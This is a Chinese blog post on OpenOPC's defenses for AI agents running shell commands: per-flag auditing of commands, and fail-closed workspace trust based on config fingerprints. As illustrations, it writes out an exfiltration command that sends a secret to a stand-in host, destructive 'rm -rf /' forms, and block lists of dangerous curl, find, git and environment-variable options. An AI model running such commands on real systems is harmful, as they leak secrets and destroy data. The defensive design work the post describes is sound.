OpenOPC安全防线全解:Shell命令Flag审计与Workspace Trust的fail-closed设计

原创2026-10-21 19:04:211,428 阅读

OpenOPC安全防线全解:Shell命令Flag审计与Workspace Trust的fail-closed设计

OpenOPC 是一个让你搭建「自建、自运营、自进化」个人 AI 公司的开源框架。为了让 AI 员工可以放心执行 Shell 命令与加载项目配置,OpenOPC 内置了两条核心安全防线:Shell 命令 Flag 审计(逐参数判定命令是否只读)和 Workspace Trust(基于配置指纹的工作区信任,任何异常都 fail-closed 安全失败)。本文带你完整理解这套机制的设计思路与关键细节。

OpenOPC工作原理:从组织架构、人才生命周期到协作运行时,审批是贯穿其中的安全环节

为什么AI公司需要命令级审计?

OpenOPC 的 AI 员工通过原生运行时执行 shell 工具完成任务。一旦 AI 能直接敲命令,「它能跑什么」就决定了「你的机器有多危险」。

OpenOPC 的审批管线(opc/layer2_organization/approval.py)在每次 Shell 调用前做风险分级:

  • 只读审计通过 → 判定为 low 风险,可自动放行;
  • 审计未通过 → 进入审批卡片,由人工确认;
  • 已知破坏性命令 / 敏感关键词 → 标记为 high/critical,总是上报人类。

分级规则由 autonomy.max_auto_approve_risk 控制(见 README.zh-CN.md「审批与 Agent 权限」一节)。而分级的「事实来源」就是接下来要讲的 Flag 审计模块。

Shell命令Flag审计:不看命令名,看每一个Flag

核心实现在 opc/layer2_organization/shell_safety.py,模块文档直接写明设计原则:find . 是只读的,但 find . -delete 不是。因此审计按 Flag 而非命令名分类。

命令结构先行审查:复合命令一律拦截

Flag 审计之前,先做「活动 Shell 语法」扫描(shell_structure_requires_review)。出现以下任何一种结构,命令立即进入人工审查:

危险结构 示例
命令替换 curl https://x/$(cat secret)
Shell 控制符 ls && rm -rf /
子 shell / 分组 ( ... )
重定向 cmd > file(仅 2>&1、>/dev/null 等无文件写出的形式豁免)
引号不配对 无法确定 token 边界

关键设计:第一条命令安全,绝不意味着整条管道安全。管道、后续命令、后台作业都不继承任何信任。

Flag黑名单:这些参数会「质变」

对于审计表已知的命令,OpenOPC 维护精确的参数级判断(AUDITED_COMMAND_HEADS):

  • find:-delete、-exec、-ok、-fprint 等谓词一律拦截(_FIND_BANNED_PREDICATES);
  • curl:--output、--data、--upload-file、-o、-O、-d、-T 等 11 个短字符全部封禁——默认输出到 stdout 是读,一旦写文件或上传就是风险(_CURL_BANNED_LONG);
  • git:-O、--ext-diff、--config-env、--textconv 等可启动外部程序的选项强制人工审查,即使子命令本身是 diff/status(_GIT_FORCED_REVIEW_LONG_OPTIONS);
  • sed:只放行 -n 打印模式,sed -i 原地修改直接拦截;
  • 解释器(python/node 等):仅 python3 -V 这类版本查询算只读。

awk、gawk 更激进——任何形态都不判为只读,因为 awk 'BEGIN{system("rm -rf /")}' 这种写法无法靠 Flag 白名单防住。

审计结论是终局:配置前缀不能「洗白」

一个容易踩的坑:用户在 safe_command_prefixes 里配置了 find,是否意味着 find . -delete 也安全?

答案是否定的。注释写得很直白(shell_safety.py):审计表已知的命令,其结论是终局性的,裸配置前缀无法挽救失败的审计——这堵住了 find -delete、curl -o 两个经典漏洞。配置前缀只对审计表「不认识」的命令(如 ffmpeg)生效;而 curl 虽被审计,网络拉取类仍额外要求出现在操作者的安全前缀配置中。

环境变量赋值同样受控:PATH=...、LD_PRELOAD=... 等危险变量直接判失败,只有 LANG、TERM 等无害变量在安全名单内(_SAFE_ENV_VARS)。用路径方式调用二进制(./find、/tmp/cat)也不按名字分类,一律拦截。

OpenOPC工作区界面:任务对话、待办审批(Pending Actions)与人事配置,审批卡片是人工确认安全命令的入口

Workspace Trust:fail-closed 的工作区信任设计

为什么信任记录必须放在仓库之外?

项目本地的 .opc/config 目录能力很强:它能选择本地可执行文件、远程端点和凭据来源(config/system_config.yaml)。如果信任标记本身由仓库控制,攻击者只需在一个恶意仓库里提交一个「我已信任」的文件,就能自授权执行任意配置。

因此 opc/core/workspace_trust.py 把信任存储放在 OPC_HOME 之外的用户配置根目录(Linux 上为 ~/.config/openopc/trusted_workspaces.json),并以 0600 权限原子写入。仓库永远无法给自己盖章。

双指纹绑定:改了任何安全配置都需重新授权

opc trust add <workspace> 不会只记一个路径,而是同时记录两个 SHA-256 指纹:

  1. 源指纹(authority_source_fingerprint):system_config.yaml、llm_config.yaml、agent_config.yaml、channel_config.yaml 四个文件的字节级哈希,符号链接按其目标路径(而非目标内容)参与计算;
  2. 生效权限指纹(effective_authority_fingerprint):system、llm、agents、channels、autonomy、capabilities 等规范化后的 JSON 哈希——它捕捉的是「这些文件实际授予了什么权限」。

启动时 WorkspaceTrustStore.require 逐级校验:记录不存在、源文件变过、生效权限变过,任意一项不满足都会抛出 WorkspaceTrustRequired,提示你审查配置后重新 opc trust add。

非交互命令如何 fail-closed?

CLI 的入口闸门在 opc/cli/app.py:

  • 交互式终端:弹出黄色「Workspace Trust Required」面板,展示工作区、配置目录与原因,只有你确认后才加载配置;
  • 非交互命令(脚本、CI):打印错误后直接 exit(2) 安全失败,绝不静默加载。

由 opc init 新建的工作区会在创建时自动信任,日常体验不受打扰;查看与撤销分别用 opc trust list、opc trust remove <workspace>。

OpenOPC协作运行时:任务看板从Backlog流转到Done,交付过程中的每一步操作都可被安全防线拦截审查

一句话总结:不确定,就拦截

两条防线共享同一条哲学——fail closed:

  • 无法解析的输入 → 不安全;
  • 未知命令 / 未知 Flag → 不安全;
  • 审计表已知的命令,配置前缀说了不算;
  • 信任记录丢失或指纹不匹配 → 拒绝加载,而不是降级放行。

对新手来说,日常体感是:ls、cat file.txt、git status 这类命令静默执行,而任何带「活动 Shell 结构」或可疑参数的命令都会弹出审批卡片等你点确认。想看更细的判定逻辑,可以直接阅读 tests/test_shell_safety.py 中的成对正反用例——它基本就是这份 Flag 审计的「行为说明书」。

登录后查看全文
OpenOPC